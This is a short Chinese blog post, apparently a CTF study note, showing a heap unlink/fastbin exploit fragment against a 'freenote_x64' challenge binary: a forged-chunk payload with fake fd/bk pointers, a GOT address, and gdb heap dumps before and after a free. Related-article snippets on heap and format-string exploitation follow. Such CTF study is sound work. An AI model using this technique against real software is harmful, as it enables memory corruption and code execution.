fastbin3x64

最新推荐文章于 2022-05-20 20:02:22 发布
最新推荐文章于 2022-05-20 20:02:22 发布
阅读量211 收藏
点赞数
分类专栏： linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/bme314/article/details/78987307
版权 
notelen = 0x80

#new_note("/bin/sh\x00"+"A"*(notelen-8))
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)    

delete_note(2)
delete_note(1)
delete_note(0)

fd = 0x11111111 #notetable
bk = fd + 0x8


payload  = ""
payload += p64(0x0) + p64(notelen+1) + p64(fd) + p64(bk) + "A" * (notelen - 0x20)
payload += p64(notelen) + p64(notelen+0x10) + "A" * notelen
payload += p64(0) + p64(notelen+0x11)+ "\x00" * (notelen-0x20)

new_note(payload)  
list_note()
delete_note(1)


free_got = 0x602018

delete_note(1)之前

0x1e4d830:  0x00000000  0x00000000  0x00000081  0x00000000
0x1e4d840:  0x11111111  0x00000000  0x11111119  0x00000000
0x1e4d850:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d860:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d870:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d880:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d890:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d8a0:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d8b0:  0x00000080  0x00000000  0x00000090  0x00000000
0x1e4d8c0:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d8d0:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d8e0:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d8f0:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d900:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d910:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d920:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d930:  0x41414141  0x41414141  0x41414141  0x41414141
0x1e4d940:  0x00000000  0x00000000  0x00000091  0x00000000
0x1e4d950:  0x00000000  0x00000000  0x00000000  0x00000000
0x1e4d960:  0x00000000  0x00000000  0x00000000  0x00000000
0x1e4d970:  0x00000000  0x00000000  0x00000000  0x00000000
---Type <return> to continue, or q <return> to quit---
0x1e4d980:  0x00000000  0x00000000  0x00000000  0x00000000
0x1e4d990:  0x00000000  0x00000000  0x00000000  0x00000000
0x1e4d9a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x1e4d9b0:  0x43434343  0x43434343  0x00020651  0x00000000
0x1e4d9c0:  0x43434343  0x43434343  0x43434343  0x43434343
0x1e4d9d0:  0x00000000  0x00000000  0x00020631  0x00000000
0x1e4d9e0:  0x00000000  0x00000000  0x00000000  0x00000000

delete_note(1)之后

0x2393820:  0x00000000  0x00000000  0x00000191  0x00000000
0x2393830:  0x00000000  0x00000000  0x00000081  0x00000000
0x2393840:  0x11111111  0x00000000  0x11111119  0x00000000
0x2393850:  0x41414141  0x41414141  0x41414141  0x41414141
0x2393860:  0x41414141  0x41414141  0x41414141  0x41414141
0x2393870:  0x41414141  0x41414141  0x41414141  0x41414141
0x2393880:  0x41414141  0x41414141  0x41414141  0x41414141
0x2393890:  0x41414141  0x41414141  0x41414141  0x41414141
0x23938a0:  0x41414141  0x41414141  0x41414141  0x41414141
0x23938b0:  0x00000080  0x00000000  0x00000090  0x00000000
0x23938c0:  0x41414141  0x41414141  0x41414141  0x41414141
0x23938d0:  0x41414141  0x41414141  0x41414141  0x41414141
0x23938e0:  0x41414141  0x41414141  0x41414141  0x41414141
0x23938f0:  0x41414141  0x41414141  0x41414141  0x41414141
0x2393900:  0x41414141  0x41414141  0x41414141  0x41414141
0x2393910:  0x41414141  0x41414141  0x41414141  0x41414141
0x2393920:  0x41414141  0x41414141  0x41414141  0x41414141
0x2393930:  0x41414141  0x41414141  0x41414141  0x41414141
0x2393940:  0x00000000  0x00000000  0x00000091  0x00000000
0x2393950:  0x00000000  0x00000000  0x00000000  0x00000000
0x2393960:  0x00000000  0x00000000  0x00000000  0x00000000
0x2393970:  0x00000000  0x00000000  0x00000000  0x00000000
---Type <return> to continue, or q <return> to quit---
0x2393980:  0x00000000  0x00000000  0x00000000  0x00000000
0x2393990:  0x00000000  0x00000000  0x00000000  0x00000000
0x23939a0:  0x00000000  0x00000000  0x00000000  0x00000000
0x23939b0:  0x43434343  0x43434343  0x00020651  0x00000000
0x23939c0:  0x43434343  0x43434343  0x43434343  0x43434343
inquisiter
关注
专栏目录
在pwn题中fastbin的利用
Vicl1fe的博客
09-28 672
参考和题目链接链接：https://paper.seebug.org/445/#pwnfastbin 前言 这个题，我搞了有一天，没搞出来，就在我快放弃的时候，才终于解出来，可能系统不一样，我覆盖不了参考文章的地址，最后我覆盖了别的地址。具体来看看吧。 ...
从两道基础题简单认识和了解fastbin double free漏洞的利用
weixin_44864859的博客
07-13 1041
fastbin double free原理 Fastbin Double Free 是指 fastbin 的 chunk 可以被多次释放，因此可以在 fastbin 链表中存在多次。这样导致的后果是多次分配可以从 fastbin 链表中取出同一个堆块，相当于多个指针指向同一个堆块，结合堆块的数据内容可以实现类似于类型混淆 (type confused) 的效果。（即可以构造假的chunk实现任意地址写） Fastbin Double Free 能够成功利用主要有两部分的原因 fastbin 的堆块被释放后
x64 fastbin
inquisiter
01-02 363
#undef _FORTIFY_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h>int BufForTst[100];int main(int argc, char *argv[]) { void *buf0,*buf1,*buf2,*buf3; BufForTst[1]=0x29; buf0
x64 fastbin2
inquisiter
01-05 230
p=gdb.debug('./freenote_x64','''b *0x400caa c x/50x $rax c c c x/100x $rax-0x50 ''') notelen=0x10new_note("A"*notelen) new_note("B"*notelen) new_note("C"*notelen) new_note("D"*notelen) delete_note(2) d
看雪软件安全精选：二进制各种漏洞原理实战分析总结
「鸿渐之翼」的博客
08-23 1180
看雪安全二进制漏洞专区0xbird原创 本部分将对常见的二进制漏洞做系统分析，方便在漏洞挖掘过程中定位识别是什么类型漏洞，工欲善其事，必先利其器。 0x01栈溢出漏洞原理 栈溢出漏洞属于缓冲区漏洞的一种，实例如下： #include <stdio.h> #include <string.h> int main() { char *str = "AAAAAAAAAAAAAAAAAAAAAAAA"; vulnfun(str); return; } int
一篇文章搞懂格式化字符串漏洞
qq_42988973的博客
05-20 4146
文章目录0x00 序言0x01 格式化字符串0x02 printf()函数0x03 格式化字符串漏洞利用任意内存读取任意内存修改 0x00 序言 刚学pwn，做了两道攻防世界的pwn新手训练，真的是啥也不会，第一道题是连上就有flag我都不知道咋连，就菜到这种地步。一个格式化字符串漏洞看了一天。看了很多博客，最后终于弄明白了，感觉很多博客都对新手不是那么友好，刚学完，总结梳理一下，便于复习。也希望自己写的能帮到其他像我一样刚开始学的小白更快更清楚的明白格式化字符串漏洞。 0x01 格式化字符串 格式化字符串
网络安全实验：CCProxy缓冲区溢出攻击
程哥哥的一亩三分地
04-17 6673
CCProxy缓冲区溢出实验 一．实验环境说明 溢出对象：CCProxy(一款代理服务器软件，支持FTP和Telnet) 调试工具：CDB、WinDbg、OllyDBG、IDA Pro etc 实验环境：VMware Workstation Pro、windows xp sp3(关闭dep)、python3、ActivePerl Windows XP SP3关闭DEP的方法：编辑C:\boot.ini文件，将/noexecute=optin 改为 /execute，重启系统 二．测试CCProxy是否存在漏
fastbin attack + unsorted bin attack+ heap overflow+ double free fastbin + double free unlink
qq_39869547的博客
10-27 386
0x1 fastbin依靠单链表来组织的，堆管理结构始终维护一个指向最后一个chunk的指针(倒数第二个chunk的fd，通常情况这个fd指向的是下一个chunk起始地址)。这个指针决定了下一次要分配的chunk地址。 也就是说默认分配最好一个chunk给用户使用，同时最后一个chunk也是我们一开始第一个free掉的 0x2 我们的目的修改某一个chunk的fd ，这样我们就可以任意地址分配我们...
Linux 堆溢出之fastbin实例
M021的专栏
11-11 3993
Linux下堆溢出 fastbin实例
pwn 堆入门之fastbin attack
清霂的博客
04-02 333
目录floworeo b站原本有一个对堆基础讲的挺好的，好像叫pwn术进阶的堆溢出，但刚刚去看已经没了，好家伙，还好我刚看完，哈哈哈。 flow 涅普计划-ctf入门课堆溢出 #!/usr/bin/env python2 from pwn import * context(os="linux", arch="amd64", log_level="debug") #libc libc=ELF("libc.so.6") malloc_libc=libc.symbols['__malloc_hook'] m
二进制各种漏洞原理实战分析总结
hhd1988的专栏
10-27 3426
二进制各种漏洞原理实战分析总结 0x01栈溢出漏洞原理 0x02 堆溢出漏洞原理 0x03 堆调试技巧 堆尾检查 页堆 0x04整数溢出漏洞原理 基于栈的整数溢出 ...
pwn工具箱之fastbin attack
jmp esp
05-22 2251
fastbin attack基本信息 利用类型: 堆利用 堆利用类型: 针对fastbin的利用 利用思想: 利用fastbin的free只检查是否和上一个freechunk相等，使得同一个chunk两次进入free list，造成UAF，可以更改fastbin free chunk的fd信息，最终分配一个特定地址 利用难点 需要能够两次free同一个chunk 更改fd的时候，为了能够在之后的ma
灰帽子黑客中的idapython
inquisiter
02-11 240
https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html11.2.3 函数循环访问程序中的所有函数，确定函数的范围，是脚本编程中会经常碰到的问题。下面 的函数对于处理函数非常有用。Functions( long StartAddress, long EndAddress )返回一个列表，包含了从 StartAddress 到 E
android插件化欺骗AMS
inquisiter
08-01 419
反射到ActivityManagerNative—gDefault-----Singleton—mInstance ,因为mInstance是ActivityManager类型的，而ActivityManage是接口类型，所以动态构造代理替换startActivty实现目标Activity替换subactivity绕过 AMS对activity得检查。 通过反射currentThread一路...
关于centos python版本共存的问题
inquisiter
09-05 232
主要是pip兼容的问题 Centos系统一般默认就安装有Python2.6.6版本，不少软件需要2.7以上的，通过包管理工具安装不了最新的版本，通过源码编译可以方便安装指定版本，只需要把下面版本的数字换成你想要的版本号。 1.安装步骤 下载源码 1 wget http://www.python.org/ftp/python/2.7.12/Python-2.7.12.tgz 在下载目录解...
格式化字符串漏洞
Starr
03-22 2015
文章目录1. 再看printfprintf家族函数转换规则2. 漏洞原理危害防范3. 任意地址内存泄漏 Demo4. 覆盖栈数据5. 任意地址覆盖6. Pwntool Demo7. 工具8. 参考文章 格式化字符串漏洞基本已经销声匿迹了，不过在iot设备上可能还会存在。 1. 再看printf printf家族函数 #include <stdio.h> int printf(); int fprintf(); int dprintf(); int sprintf(); int snprintf(
Linux栈溢出获取shell之Return to libc
d3f4ult的博客
04-10 787
文章目录简介参考资料知识铺垫 简介 本次实验将通过hackthebox的Enterprise的靶机来学习利用Return-to-libc实现Linux栈溢出并获取shell。在实验的过程中，遇到了很多的理论问题，百度后发现国内关于Return to libc的理论比较少，基本都是这种操作：system+exit+sh，却没有讲为什么，尤其是system后面为什么一定要跟exit。 参考资料 《0...
如何编写自己的缓冲区溢出利用程序(下)(转)
cizn2013的博客
05-31 270
如何编写自己的缓冲区溢出利用程序(下)(转)(续)by 黑猫(virtualcat@hotmai.com)值得注意的是: 如果象上面所说的, 我们输入的字串长度为二十个'A'--刚好复盖完0xbffff6b0所指的单元, 那么此...
USB设备管理过程
inquisiter
11-29 3613
驱动关于usb整体流程 时序图： drive device 分别attach到bus总线上，probe用来使drive驱动device 可以看到，attach后的device会找到对应的drive，并调用相应的probe函数。 关键数据结构 代码基于 内核5.11 这里以usb设备为代表，但其他总线设备道理类似。 device_attach函数中会有一个查找对应驱动的函数，算法大致是遍历总线，然后对device 和 drive对应的数据结构进行对比。 通知用户态 为了实时的通知用户态内核的设备管理
FASTBIN CONSOLIDATION THRESHOLD， fastbin 中的chunk一般不会与其他chunk合并。但如果合并之后的chunk大于FASTBIN_CONSOLIDATION THRESHOLD ，就 会 触 发malloc consolidate()函数，将fastbin 中的 chunk 与其他 freechunk合并，然后移动到unsorted bin中。 #define FASTBIN CONSOLIDATION THRESHOLD (65536UL)
最新发布
07-20
这段代码是关于 fastbin 中的 chunk 合并的宏定义。 1. `FASTBIN_CONSOLIDATION_THRESHOLD` 宏定义表示 fastbin 中的 chunk 不会自动与其他 chunk 合并，除非合并后的大小超过了该阈值。该阈值的值为 65536UL，即 65536 个字节。 当 fastbin 中的 chunk 合并后的大小超过了 `FASTBIN_CONSOLIDATION_THRESHOLD`，就会触发 `malloc_consolidate()` 函数。该函数会将 fastbin 中的 chunk 与其他 free chunk 进行合并，并将合并后的 chunk 移动到 unsorted bin 中。 需要注意的是，这段代码可能是从某个特定上下文中提取的，我无法提供完整的代码和上下文。所以如果你需要更多信息或者有其他问题，请提供更多细节。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值